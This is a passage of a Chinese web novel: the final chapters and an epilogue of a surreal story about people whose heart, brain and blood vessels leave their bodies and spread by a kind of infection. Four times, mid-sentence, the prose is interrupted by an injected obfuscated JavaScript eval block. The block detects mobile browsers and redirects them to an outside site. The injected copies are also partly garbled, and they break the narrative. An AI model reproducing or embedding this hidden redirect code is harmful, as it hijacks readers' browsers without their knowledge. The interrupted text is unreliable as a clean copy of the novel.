在下一次续约时,辛远本着“虽是房东且良心的‘心’已离家出走、但良心的‘良’好像还安分健在”的立场,对齐促辉提到要不要换地方住的问题。 齐促辉表示: “可拉倒吧。 “你也说了,就我这工作强度,住哪儿有区别吗? “要不是一直待在公司过分有害我的心理健康,我真就该直接住公司算了。 “再说了,虽然是还有距离我公司更近的租房,但先不说那个价格,光是吵闹程度和上下班方便度,就很难同时优于这里。 “这里旁边的地铁可是直达我公司楼下。 “而且我上班的那个时间点,从这一站上地铁往往不挤。 “最重要的是,我实在没心思去找新住处了。 “每次有点休息时间我都只想在家里躺平。” 辛远: “如果让你失去一个器官,并附带失去这器官对应的各种象征意义。 “比如我失去心脏,就对应着我变得更冷淡。 “又比如岳矢失去大脑,就意味着她面对事情时不会多想。 “那么你想失去什么?” 齐促辉: “听说你近期已经不止一次问过别人这类问题了。 “不是很能理解你们这些悠闲人士的情趣。 “一天天的尽想些‘如果明天世界毁灭了’‘如果下一秒发现自己得了绝症’。 “就是闲的。” 辛远: “总之你有没有什么想法吧? “如果之前没有,那就现在立刻想一个。” 齐促辉: “我没有想失去的器官。 “在我已经割掉了我的阑尾的前提下,我觉得失去剩下的任何一个器官都不可能对我无害。 “如果可以,如果器官的引申含义确实存在,那么我想再多拥有一个肝。” 辛远: “说起来,你真的认为你会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296491|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有‘赚够了钱,感觉身体快不行了,于是主动辞职’的那一天? “你真的相信你的想法不会一直是‘应该还能再熬一熬’,然后就一直熬到猝死在工位上?” 齐促辉: “其实…… “我还真不能确定。 “理想情况可能是,某一天我在工位上突然晕倒,然后被送到医院抢救及时捡回一条命。 “接着公司不想冒险担一条人命,于是劝我辞职。 “我顺势答应。 “公司见我识趣,并感念我这些年为公司做出的贡献,给我一笔数额不菲的离别费。 “皆大欢喜。 “这个流程中最大的问题是:能不能做到抢救及时。 “紧随其后的问题则是:捡回一条命后,我这身体还有没有养好的希望、会不会已得绝症。” 齐促辉看了下手机,说: “好了,聊天时间结束,我又得去加班了。 “你放心,一旦我觉得身体不舒服却又必须加班,我肯定会在公司里加,不会病怏怏地在你的房子里加。 “虽然我不能保证自己不会猝死,但我会努力不在你房子里死掉。 “以我在公司和在你房子里的时间比例及劳动强度对比来说,做到这个应该难度不大。” 辛远: “谢谢你的费心。” 如此波澜不惊的又过了几个月,在距离与岳矢第一次见面只差几天时,岳矢突然对辛远说: “我的脑子回来看望我了,你想见见它吗?” 辛远: “……字面意思?” 岳矢: “当然。 “没脑子的我怎么会远程消耗脑细胞对你说暗语?” 辛远想了想,还是跟着岳矢到了她屋子里,见到了那颗…… 应该算是颠覆了他生活的罪魁祸首大脑。 虽然之前辛远已经在网络上看过不少人脑图片,还专门去看过一些实体标本,但此刻看到一颗活体的、能交流的人脑,感觉还是很不一样。 尤其当这颗活人脑对着辛远抖动了下时,辛远立刻反应过来它这是在对他打招呼。 可能类似点头。 不过辛远对这颗人脑说的第一句话是: “我闻到你身上有我心脏的气味。” 顿了顿,辛远半自言自语地说: “这是它离开后我第一次抓到它的痕迹。 “原来从其他东西身上闻到它的气味是这种感觉。 “好像不仅是嗅觉发挥了作用,空胸腔似乎有些共振。” 岳矢: “那共振应该是气味飘入空腔后,空腔准备好重新容纳器官而导致的。 “我的脑子说,它确实与你的心脏相遇过。 “还同游过一小段时间。 “不过它俩心照不宣地没有将这份信息远程传回给身体。 “并不是刻意隐瞒。 “而就是认为,这是它俩的私事,不需要向主体仔细报备。” 辛远: “哦。” 岳矢: “我的大脑还说,等自由周年纪念日当天,你的心脏也会回来看望你。” 辛远: “看望完之后呢?” 岳矢: “当然是又各自去过自己的生活。 “就像亲戚,只需偶尔见一见,朝夕相处反而容易产生矛盾。” 辛远: “所以之前那么二三十年我与我的心脏、你与你的大脑朝夕相处,产生了什么矛盾?” 31.31 ☆、自古以来就存在的 岳矢: “在觉醒自身意识之前,一切都好说。 “一旦各自有了意识,就需要保持距离了。 “你很想把你的心脏塞回胸腔吗? “如果你还有囚禁它的想法,你的心脏到周年纪念日时可能不会回来看望你。” 辛远: “所以你现在是完全放弃把你的大脑塞回你的颅腔了?” 岳矢: “强制爱是不会有好下场的。 “再说,即使我把我的大脑塞回去,只要我还会睡觉,它就肯定能找到机会推开头盖骨离开。 “我总不可能给我自己的脑袋建个监牢吧? “而且即使我想建,我的建造思路、监牢薄弱点都会被我的大脑全盘知晓。 “不可能囚禁成功的。” 辛远: “确实。 “强扭的瓜不甜。 “我是否真心放弃囚禁我的心脏,我的心脏应该不用听我的语言保证,而能直接感觉到我的……真心吧?” 岳矢: “当然,毕竟它就是你的心。 “你不可能骗过它。 “正如我也不可能骗过我的大脑。” 辛远: “大脑、心脏为什么能无痛脱离主体,还不影响主体的正常活动? “这位大脑……朋友知道吗?” 岳矢: “它说,这是自古以来我们世界就存在的现象。” 辛远: “不是我怀疑啊,但好像连灵异故事里都没有这方面的段子。 “而以我和你的亲身经历来说,除了没让不沾染我们器官气味的人看到实证之外,口头上我们是几乎没有遮掩的。 “我们的本能让我们一直感觉不需要遮掩。 “如果之前、自古以来出现这类空腔症状的人都是如此,或者哪怕只有一两成是如此,为什么会完全没有故事流传呢? “哪怕是当作精神病笑话传一传也没有。” 岳矢: “我的大脑说,正如出现了空腔的人有‘不遮掩’的本能,没空腔的人也有‘不传播’的本能。 “准确地说,没空腔的人在接触相关话题时会下意识将其当作‘不重要、不需要记录传播、遗忘了也没关系的信息’。 “态度上并不会避之不谈,有时好像还会谈得热热闹闹,但一转头,便会很快抛之脑后。 “许久之后如果需要整理信息,那么相关信息几乎必然会被当作垃圾给清除掉。 “距离有空腔的人越远,这种现象就越明显。 “对这类信息的兴趣无法持久,应该是我们世界所有无空腔人类都有的一种本能。 “这种本能可能类似多数人对蛇等生物的恐惧,根植在基因中。 “不过,我的大脑也说,这只是它根据它的见闻进行的猜测。 “我的大脑本身与我们失去器官、有了空腔的身体一样,并没有渠道直接知晓这里面的隐秘。 “这一年来,我的大脑在路途中遇到了好些其他器官。 “除了你的心脏,还有其他人的胃、肝、肾、肠子、膀胱等。 “他们主体的经历与我们相仿。 “都会直接对别人说出失去器官的事情,但医院检查结果都显示正常,听过他们说法的其他人都将这当玩笑。 “最初失去器官时,他们都有一段时间表现出不同程度的异样。 “比如食欲变小、变得冷淡等。 “但基本一个月之后便会逐渐恢复到不再让认识他们的人感到陌生的样子。 “他们本人都知道,有些东西已经发生了根本性的改变,但在表面上、在其他人口中,又好像一切都没有变。” 辛远: “我的心脏也知道这么多吗?” 岳矢: “这些是它们一群器官交流的成果,所有流浪在外的器官只要参与了交流,便都知道。 “不过每一个器官的声音只有它们对应的主体才能听见。 “比如现在,你与我的大脑面对面,你能看到它动,但你听不见它对我说的任何一个字。 “而在我的耳中,它的声音与你的同样清晰。” 辛远: “我能见见其他器官的主体吗? “没别的意思,就想同类之间交个朋友。” 岳矢: “我的大脑说,如果碰巧遇见,那么想交朋友或者其他,都是主体们的自由。 “但器官们是不会给我们牵线搭桥的。 “器官们都本能地感觉到,主体们别刻意相见比较好。 “主体们相互之间认识或不认识都没关系,但如果是经由器官介绍才认识的,器官们直觉会发生不好的事情。 “这种直觉和它们当初觉得适合离开主体出去环游世界一样强烈。 “器官们还找到了一些古代器官留下的信息。 “其中绝大多数能与现代器官们的直觉、经历以及交流总结出的规律相互印证。 “唯有一条比较特殊。 “那看起来好像与器官、主体、空腔都没关系,却让器官们觉得非常重要。 “甚至,它似乎就是一切的根源。 “那一条只有一句话,说:我们这个世界的名字是‘平平无奇’。” 辛远: “假设这一条真是一切的根源,可太像嘲讽了。” 岳矢: “会吗? “我的脑子说,这像是一种保证。 “保证‘我们的器官离家出走、我们的身体出现空腔’这件事很小,不会弄出大动静。 “保证我们的身体与器官都可以一直平平无奇地生活下去。” 辛远不是很认可岳矢大脑的说法,但又觉得没必要反驳。 或者说,他希望岳矢的大脑是对的。 希望失去心脏、失去大脑,都是小问题,不会打乱他一直以来的生活。 岳矢: “还有,你不用烦恼不忍心拿人当试验品了。 “因为根据古代器官留下的信息,以及现代器官的情况总结,我们已经可以确定人器官活过来、拥有离家出走能力的传染条件。 “主要有三条。 “一,与离体的活器官近距离接触过,身上沾染过或器官的气味。 “二,亲眼见过器官出走后主体对应的空腔。 “遇到的器官与见到的空腔不需要匹配,可以属于不同人。 “不过遇到同一人的,效果会更好。 “三,长时间地思考过离体的器官以及失去器官的主体的事情。 “这里的‘长时间’是指一个月以上。 “时间越长效果越好。” 辛远: “就是说,即使我故意给很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296492|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人看我的空胸腔,他们也未必能同样失去某个器官。 “还得看他们会不会遇到离家的器官。 “遇没遇到连他们自己都说不清,毕竟离体活器官一般是隐身状态。 “不过第三条基本算是第一条的附带效果。 “我相信只要看过一次空胸腔、空颅腔,正常人围绕这事进行思考的时间就很难低于一个月。 “啊,也不一定,还得考虑没空腔的人遗忘、淡化此事的本能。” 岳矢: “其实遇到离家活器官的几率比我们以为的多很多。 “人们之所以对此无知无觉,不仅是因为器官们离体后能长期隐身,还因为除了该器官的主体外,其他人都闻不到其气味。” 辛远: “第一三条都不可控,所以可控的第二条尤其关键。” 岳矢: “根据我的大脑收集到的信息,一个失去器官的人在遇到沾染有其器官气味的人时,会本能地给对方看空腔。 “也就是,本能地试图将对方感染转化为自己的同类。 “虽然第一次见到你时,我并没有主观的、形成了思路的恶意,一切都是下意识的本能反应,但…… “客观上确实是我感染了你。 “现在道歉已经没用了。 “你恨我吗?” 辛远: “失去心的我,好像不太能产生‘恨’这种情绪。 “理性地说,这种玄学的本能,也着实很难怪罪没有压制住、甚至根本还没意识到存在这种本能的人。 “但你在失去大脑之前,应该并没有看过其他人的空腔?” 岳矢: “没有。 “哪怕我在无意识中见过,我也肯定没有连续思考它一个月以上。 “所以还存在非传染造成的器官活过来。 “就是这个人在这方面拥有格外强大的‘天赋’,不需要条件一与二做引子,可以只因为满足了条件三便实现器官离体。 “即,只要这个人足够长时间地希望舍弃某器官,那器官就会产生自我意识,并离开主体。 “可以称呼这种天赋者为‘感染源’。 “遇到过感染源的器官、看过感染源的空腔、再长时间思考过感染源的情况,这样的人尤其容易成为被感染者。 “甚至几乎可以说是必然会成为被感染者。 “虽然我也是今天才知道这事,但你可以责怪我的。 “无论这是否是我有意为之,对于你,我都确实算加害者。” 辛远: “你为此自责吗?” 岳矢: “并没有。 “我的思考结论是,即使客观上我加害了你,但主观上,我真的无辜。 “最重要的是,感染的结果好像并不算糟糕。 “我甚至觉得失去个器官,连带失去一部分烦恼,是好事。 “所以我可以理解你责怪我,但我自己并不会责怪我自己。 “我最多只会对你表达爱莫能助的遗憾。 “不过如果你希望,我可以立刻搬走。 “反正距离现有合同到期也没几天了,你可以顺理成章地拒绝与我再续约。” 辛远: “暂时不用搬。 “等我的心脏回来探亲时,我向它确认过你的说法,再来决定我要不要与你停止续约吧。” 32.32 ☆、只是平平无奇的生活(正文完) 几个月后辛远确认的结果是:他并不责怪岳矢,更谈不上恨她,愿意让她继续租自己的房子。 确认过程中,辛远问自己的心脏: “你不会与岳矢的大脑联合起来欺骗我吧?” 心脏发出只有辛远能听见的声音,问: “我为什么要? “你能给我供能,岳矢与她的大脑能为我做什么?” 辛远: “岳矢能给她的大脑供能,而她的大脑…… “也许与你达成了某些对你很有利的协议?” 心脏: “你的脑子不离家出走不是用来让你阴谋论的。 “器官们相互之间虽然能交流,但很难有利益牵扯。 “你们这些主体生活在有着严密规则的社会网中,被金钱、名声等所束缚。 “但我们器官从离开主体的那一刻起,就是游离的。 “除了主体,我们在世间再无牵挂。 “我们可以去任何地方。 “可以随便生活。 “喜欢其他哪个器官,就与之多相处一阵。 “哪一天突然不喜欢了,立刻便能翻脸分开。” 辛远: “这种存在形式的意义是什么呢?” 心脏: “哪有那么多意义? “就是存在而已。 “就像壁虎的尾巴可以断掉、蚯蚓可以分成多段,部分人类能让部分器官离体有什么好奇怪的? “你只需要接受现实就可以了。” 辛远: “但我依然会时不时怀疑,这可能不是现实,而是我的幻觉。 “我可能真的疯了。” 心脏: “想证明你没疯很简单,你多给别人看你的空胸腔就行了。 “看过的人里总会有一部分也失去器官。 “同类多了后,即使是真疯,也会因为成为了主流而被定义为正常。” 辛远: “……算了。 “以前还不确定时我都放弃了试验,现在就更…… “我还是做个善良的人吧。” 心脏: “所以你认为‘感染他人’是不善良的行为。 “也就是,你还是有点怪罪岳矢感染了你的吧?” 辛远: “不好说。 “她给我打开了新世界的大门。 “我至今依然无法确定这门后的世界究竟是好是坏。 “既然好坏属性不定,那么怪罪还是感谢就无法判定。 “而如果好则感谢、坏则怪罪,又显得我似乎太功利了。 “这件事本身正如岳矢所说,她并无主观恶意,只是无意识地受本能驱使而已。 “就像饿了要吃东西、困了要睡觉,哪怕因此产生了什么好或坏的影响,又能对当事人说什么呢?” 心脏: “说‘这就是缘分’?‘一切都是命’?” 辛远: “总结得挺好。 “你要回我的胸腔中待一会儿吗? “算是重温旧梦。” 心脏: “那个小胸腔,太憋闷了。” 辛远: “难道不会因此有一种安全感吗? “就像寒冷的冬夜全身缩在被窝里,还故意把被子裹成筒状。 “束缚,但安心放松。” 心脏: “你为什么不睡在衣柜里呢? “或者睡回妈妈的肚子里?” 辛远: “……总之你就是一点也不想回到故居躺一躺是吧? “岳矢的大脑还主动揭开头盖骨进去待了一晚。 “虽然据岳矢说,那一晚她开着头盖骨睡觉,始终睡不踏实,总担心颅腔内飘进灰尘、爬进虫子…… “算了,如果你回胸腔睡也要求一直开着门的话,是怪别扭的。 “主要是我肯定会感觉胸口凉飕飕。 “你待在我旁边时,我的情绪明显比你远离我时更丰富。 “有大脑在旁边时,岳矢也是显得更思维敏捷,连表情都比远离脑时更灵活。 “看来距离确实会影响连接状态、信息交互效率。 “现在这种四舍五入可以算你回到胸腔内的状态下我都不记恨岳矢,应该就代表着我真的不介意她感染我的事情。” 心脏: “但你真的相信岳矢在感染你之前对‘这事具有传染性’一无所知吗? “反正我遇到岳矢的大脑时,它已经通过多种渠道确认了传染条件。 “那么,它具体是什么时间确认的呢? “又是在什么时间开始产生这方面的猜测的呢? “关键是,它真的是在离家一整年后回去探望岳矢时,才将这事告诉她的吗? “另外,你作为被感染者,对相关信息只能听说,或者自己去做试验,但岳矢那种有强大天赋的感染源,她会不会在器官离体的当时便知晓一些信息? “类似于玄幻小说中灵兽神兽记忆传承的那类生而知之。” 辛远: “那她的演技相当强。 “即使是在我对她有了很多怀疑的现在,我回忆她之前的表现,也没有找到任何破绽。 “还有,你也阴谋论了。 “你阴谋论时需要借助我的脑子吗?” 心脏: “当然。 “我与你始终都是共生的。 “你借助我拥有更丰沛的情感。 “我虽然外表没有人样,但我借助你,可以完整模拟出人类的一切。” 辛远: “既然是如此密切的关系,为什么要等离家一年之后才回来告诉我那些信息? “就不能早点为我解惑吗?” 心脏: “这是观察期。 “只有当经过一年时间的沉淀后,你能平静接受与器官分离的现实,我才能对你说具体的。 “不然,根据其他器官的经验,会发生很糟糕的事情。” 辛远: “什么事情?” 心脏: “不告诉你对我比较有利。” 辛远: “这就是‘一体’?” 心脏: “请追求和而不同。” 这一次心脏离开时,辛远目睹了它逐渐跳远的过程。 看着心脏从人群间穿过,却不被除他之外的任何人发现。 偶尔它会不小心直接与人腿相撞,但被撞的人似乎只觉得是突然来了一阵小风。 他们最多只会低头稍看一看自己的腿,而并不会感到疑惑。 辛远假装若无其事地跟在他的心脏后面,靠近那些与他的心脏擦肩而过的人们。 辛远略微在他们身上闻到了一点他心脏的残留气味。 但多数人身上的气味仅残留几秒钟便消失。 与心脏撞上了的人身上的气味残留时间稍长些,但也不超过一分钟。 所有的时间甚至不够心脏蹦出辛远的视线。 最多只够让辛远刚刚升起“给他们看看我的空胸腔”的冲动。 根本来不及考虑实践,也用不着辛远因作为多年正常人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301452|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理性不想把更多人拖下水而对抗冲动,那气味便消失。 辛远一时的冲动也随之结束。 辛远惊讶于这个气味残留时间的短暂,并开始仔细思考他第一次见到岳矢前,他与她的大脑到底进行了怎样的接触。 那接触必然得时间足够长,或者程度足够深,才能让他身上残留的气味久久不散。 进而才能导致在那颗大脑离开许久之后,岳矢还能闻到他身上的大脑气味,却已不能追踪到她大脑的所在位置。 辛远怀疑,那颗大脑有可能是紧贴在了他身上好一会儿。 也可能是刮了点它的表皮碎末混入他的油碟中让他吃下。 辛远有些庆幸他的心脏已经蹦远了,才能让他即使思考了这些内容,也没有感到恶心。 不过,辛远意识到他可能真是被那颗大脑“选中”的,并非意外倒霉。 而当初岳矢以为她是因为不在计划内的行动才差点意外与她的大脑偶遇,实际上却可能是她的大脑故意送给她一点希望、一个小礼物。 可能事实上,岳矢之于她的大脑从不存在意外。 可能一切都始终在她大脑的掌控中。 辛远越想越觉得,那颗大脑很像高智商大反派。 不过等看不到心脏后,辛远回家遇到岳矢,对她说的只是: “我发现离体器官的隐身效果对猫不起作用。 “猫能看到我的心脏。 “不过猫注视我蹦跳心脏的眼神与看我空胸腔时的差不多。 “都是有点嫌弃、不乐意靠近。 “完全不像遇到其他跳动的小球时那样会立刻扑上去玩耍。” 岳矢: “哦。” 辛远: “你没发现这件事吗?” 岳矢: “我颅腔空后,唯一一次见到我的大脑就是在我的屋子里。 “而我屋内没养猫。 “我没见过我的大脑与猫相处时的样子。 “它也没告诉我。” 辛远: “……你的大脑向你告辞离开时,你就没目送它一下? “我们小区院子里经常有猫活动。 “但凡你站在客厅阳台上目送你的大脑蹦出小区,你就应该能看到那些猫对待你大脑的态度。” 岳矢: “虽然是很容易看到,但,我为什么要目送?” 辛远: “……待客的基本礼貌?” 岳矢: “它不是客呀。 “它就是我的一部分。” 辛远感觉自己是真的能够相信,岳矢无意害他。 能够相信她从没有内心满怀算计但面上伪装无害。 辛远:她全部的阴谋诡计应该都被她的大脑带走了。剩余的躯壳应该是真傻白甜。 再想了想,辛远又觉得岳矢实在算不上傻与白,更完全不甜。 于是更正定义:应该是完全没有多余想法、刚刚够维持正常生活的低功耗模式。 辛远: “只要生活还正常,其他好像都可以无所谓吧?” 岳矢: “除了生活之外的‘其他’是什么?” 辛远: “野心与诡计? “算了,确实不重要。 “器官们有器官们的宏大世界。 “带着空腔的人类…… “依然还是人类,那么就应该继续过正常渺小人类的生活。” 岳矢: “平平无奇的生活。” 辛远: “对,平平无奇。” (正文完) 33.番外 ☆、新增感染源(全文完) 几年之后,辛远那一群狐朋狗友中相对最有智商的姚岚某天问辛远: “你所说的‘无心’是物理意义上的吗?” 这时候的辛远其实已经不太提自己无心了。 毕竟同一个梗说太多次,听的人会不耐烦。 此刻姚岚突然提起,倒显得有点怀旧意味。 当然,那个不是重点,重点是…… 辛远快速从头到脚打量了姚岚一圈,回答: “就当是吧。 “怎么了?” 以辛远的观察,姚岚好像没有明显的异样。 但考虑到辛远与姚岚上一次见面是快三周之前,于是辛远也不敢肯定。 可能姚岚异样过,但已经大致渡过了适应调整期,现在基本恢复到了正常态。 姚岚 “果然。” 辛远: “什么?” 姚岚: “果然你也是。 “那么,具体来说,你是被感染者? “岳矢是感染源?” 辛远的第一反应是:不可能。 这些信息应该是器官离家一年之后,等到主体通过了观察期,才会反馈给主体的。 而近一年来辛远与姚岚见过多次,如果姚岚真失去了什么器官,辛远觉得自己不可能一点异状都没察觉。 再说,姚岚之前也从未提过他没了什么器官。 以自己与岳矢的情况为参考,辛远觉得他们这种人很难忍住不炫耀体内的空腔。 在辛远疑惑的注视中,姚岚缓缓说: “我是感染源。 “我的血管离家出走了。 “你想看证据吗?” 辛远:血管?全身的吗?这要怎么看?把整个皮扒了?把所有肉掰开? 虽然胸腔里没有心脏,但作为一个资深空腔症患者,辛远与他心脏的远程连接紧密度现在几乎可以等同于心脏依然在他体内。 也就是,辛远现在的情绪起伏基本与正常人无异。 所以四舍五入就是个正常人的辛远想想那个好像得把整个身体拆碎了的画面,有点小心慌。 辛远回答: “先别。 “你是从哪里知道‘感染源’这些词的?” 姚岚: “这些是血管离体时,我的脑中自然浮现的知识。” 辛远先是感叹感染源比起被感染者来,果然有很多优势。 继而为失去大脑的岳矢表达遗憾。 因为那些优势是落在大脑内,大脑离家出走时就全给顺便带走了。 只剩空颅腔的岳矢主体什么都没捞到。 甚至当大脑判定岳矢通过了观察期后,回到岳矢身边探亲时,告知她的信息也经过了大量删减。 不过也有可能大脑已告诉了岳矢全部,但让岳矢在对他转述时省略部分不说。 岳矢高度信任她的大脑,只要大脑吩咐了,她肯定会照做。 反正只是少说,又不是欺骗。 基本不需要演技,也不需要考虑前后说辞是否存在逻辑冲突。 岳矢肯定还乐得可以少说很多字。 姚岚: “你在想什么? “好像不是在想我的事情?” 辛远: “比起你这个虽认识多年、但感情很一般的朋友来,我自然是更关心我自己。” 姚岚: “你怀疑你那位叫岳矢的租户是幕后boss?” 辛远: “反应挺快嘛。” 姚岚: “我只是没了血管,又没失去脑子。” 辛远: “不过你猜错了。 “我并没有怀疑岳矢主体,我只是怀疑她的脑子。 “我是说,只怀疑她那个流浪在外的大脑器官不知道在进行着什么阴谋。” 姚岚: “你的意思是,岳矢只是她大脑的傀儡而已? “哪怕岳矢伤人,她也只是被利用的工具? “正如法律只会给持刀人而非刀判刑,如果岳矢伤了谁,该被责怪的也只有她的大脑?” 辛远: “差不多就是这个意思吧。” 姚岚: “那看来老有人觉得你俩是一对,也不全是误会。 “或者说,你俩确实就是恋爱关系?只是你顾忌婚后财产的风险所以一直拒绝结婚? “感觉有点渣啊。但倒是正好对上了‘无心’的状态。” 辛远: “那不重要。我和岳矢的私人问题就不劳你操心了。 “我们还是继续来说离体器官吧。 “其实我有时也会怀疑,一个人的主体与其离体的器官是否真的可以彻底分割来看。 “岳矢一个人的回答过于片面,那么你这个新出现的感染源对此怎么想?” 姚岚: “现在我还说不好。 “刚失去血管不久,身体内骤然空了很多,我的思维受到了严重影响。 “可能得过一段时间,等我完全适应了这种空荡感后,我才能给出比较客观的分析。” 辛远: “原来你还没有完全适应啊。 “倒是看不太出来。” 姚岚: “毕竟我本就是个特别闷、什么都憋在心里不外显的人。 “很难像你一样稍有异常便很快被很多人发现。” 辛远: “这种嘲讽的内容却配上陈述的语气,我差点以为你和岳矢一样离家出走的是大脑。” 姚岚: “难道心脏离家出走后的你不是这种无波无澜的语气吗?” 辛远: “也对。 “可能失去任何一个器官都会影响到情绪吧。 “你说你是感染源,这一点你完全确定吗? “你失去器官真的与我和岳矢全然无关? “我猜你之前应该思考过岳矢说她没脑子、我说我没心是不是有引申含义。 “‘长时间思考空腔、活器官’是被感染者失去器官的条件之一。 “而如果在思考此事之时、之前,你遇到过我的心脏、岳矢的大脑,就还满足了被感染的另一个条件。 “当然我可以确定,我没有给你看过我的空胸腔。” 姚岚: “据我现在所知,感染源与被感染者并非严格区分甚至对立的关系。 “二者之间存在模糊带。 “三个被感染条件全部都并非只适用于被感染者。 “因为本质上,我们的器官之所以会活过来、能独立生存于我们的体外,是我们这个世界的天然规则之一。 “这个星球上的每一个人都有养出独立活动器官的天赋。 “有的人这方面天赋更强,无需其他外力,仅凭自己便能成功让器官诞生自我意识并离体。 “有的人天赋弱些,需要得到强天赋者的引导或者叫示范,才能顿悟。 “但强与弱多数时候是相对概念。 “有的人虽然天赋强,但因为生活环境等因素,毫无这方面的需求,于是天赋可能迟迟得不到激发。 “有的人虽然天赋弱,可环境压力太大,日思夜想之下,反而实现突破。” 辛远: “你这知道的可有点多啊。 “你失去血管究竟多长时间?” 姚岚: “两周。” 辛远: “这样一对比,岂不是显得我很傻?” 姚岚: “你可能对自己有误解。 “你从来走的也不是智商流。” 辛远: “……” 姚岚: “不过我能快速得到这些信息,跟我的智商关系也不大。 “大概是因为血管遍布全身的缘故,所以血管离开后,我得到的信息才会是全方位的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307421|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “问题是,这些信息要么是凭空出现在我的脑子里,要么是我的血管与其他流浪器官接触后听说的。 “作为证据,它们着实都算不上严谨。 “现阶段就只随便听一听吧,不必太信。” 辛远: “你觉得怎样的证据才称得上‘严谨’?” 姚岚: “当然是找很多人做试验。 “试验过程中需要严格控制变量。 “比如对部分人,只告诉他们‘器官离体理论’,每天从不同角度阐述该理论,然后放任他们思考。 “而对部分人,只给他们看‘器官离体实证’,比如没了脑子、没了心脏后还活着的人,但什么话都不对他们解释,也是放任他们思考。 “还有对一部分人……” 辛远: “停! “还记得我们一贯的约定吗? “谁要是犯法了,其他人一定会积极踊跃地报警。 “这约定在这件事上、在我这里依然有效。” 姚岚: “别一听到人体试验就想到违反犯罪。 “太狭隘了。 “实际上,只要流程规范,这事不仅可以做到合法,连道德上都可以没有瑕疵。 “只要出的价钱够高,多得是人愿意参与试验。” 辛远: “你先找到愿意的人再说吧。” 姚岚: “试验计划可能得等到我的血管离体一周年之后才能开始执行。 “据我观察,你和岳矢都是在宣称自己无脑、无心之后差不多一年,才好像确定了一些很重要的事情。 “那之后,你们也不再提‘找回’那个你们丢失的器官。 “而我的血管离开我后,在它传回来的简短信息中也透露,离体器官对主体会有一个观察期。 “所以我大胆假设,‘一年’应该就是那个活器官界共同遵守的‘观察期’时长。” 辛远有点酸: “你的血管对你可真好。 “早早就给了你一些重要信息。 “相比起来,我那心脏简直冷酷无情。” 姚岚: “也许你的心脏也提前给过你信息,只是你没解读出来。” 辛远: “行,那你就慢慢解读吧。 “我就等着看一年期满后,我需不需要给你报警。” 姚岚: “我今天告诉你的这些信息,你会告知岳矢吗?” 辛远: “说不好。 “哪怕我愿意信任岳矢,我也必须承认,岳矢所知的一切信息,她的大脑都能远程知道。 “而那大脑发给岳矢的行动指令,岳矢不会拒绝。 “所以本质上来说,无论空颅腔的岳矢有没有恶意,只要她的大脑有恶意,空颅腔岳矢都会在行动中配合那大脑的阴谋。 “另外,‘岳矢和她的大脑究竟是不是故意引诱我失去器官’这一点在我这里始终是一根刺。 “哪怕这根刺谈不上痛,但也毕竟不是不存在。 “我越来越感觉失去心脏没影响什么。 “只有最初的那一段时间我表现得稍微有一点异常,引起了周围人的担心、不适。 “到了现在,我早已确信我依然是我。 “顶多就是情绪淡了一些。 “可人年纪大了、经历的事情多了后,情绪本来也会不断转淡。 “所以这个也不好全怪罪我心脏的离开。 “总之…… “哎,反正就是说不清楚好坏。” 姚岚点头: “看来除了身家不太够之外,岳矢很适合加入我们的狐朋狗友小团体。 “可以相互随便说很多事情。 “但因为心中对彼此有所芥蒂,所以也谈不上交情很好。” 辛远: “对,就凑合着相处吧。” (全文完)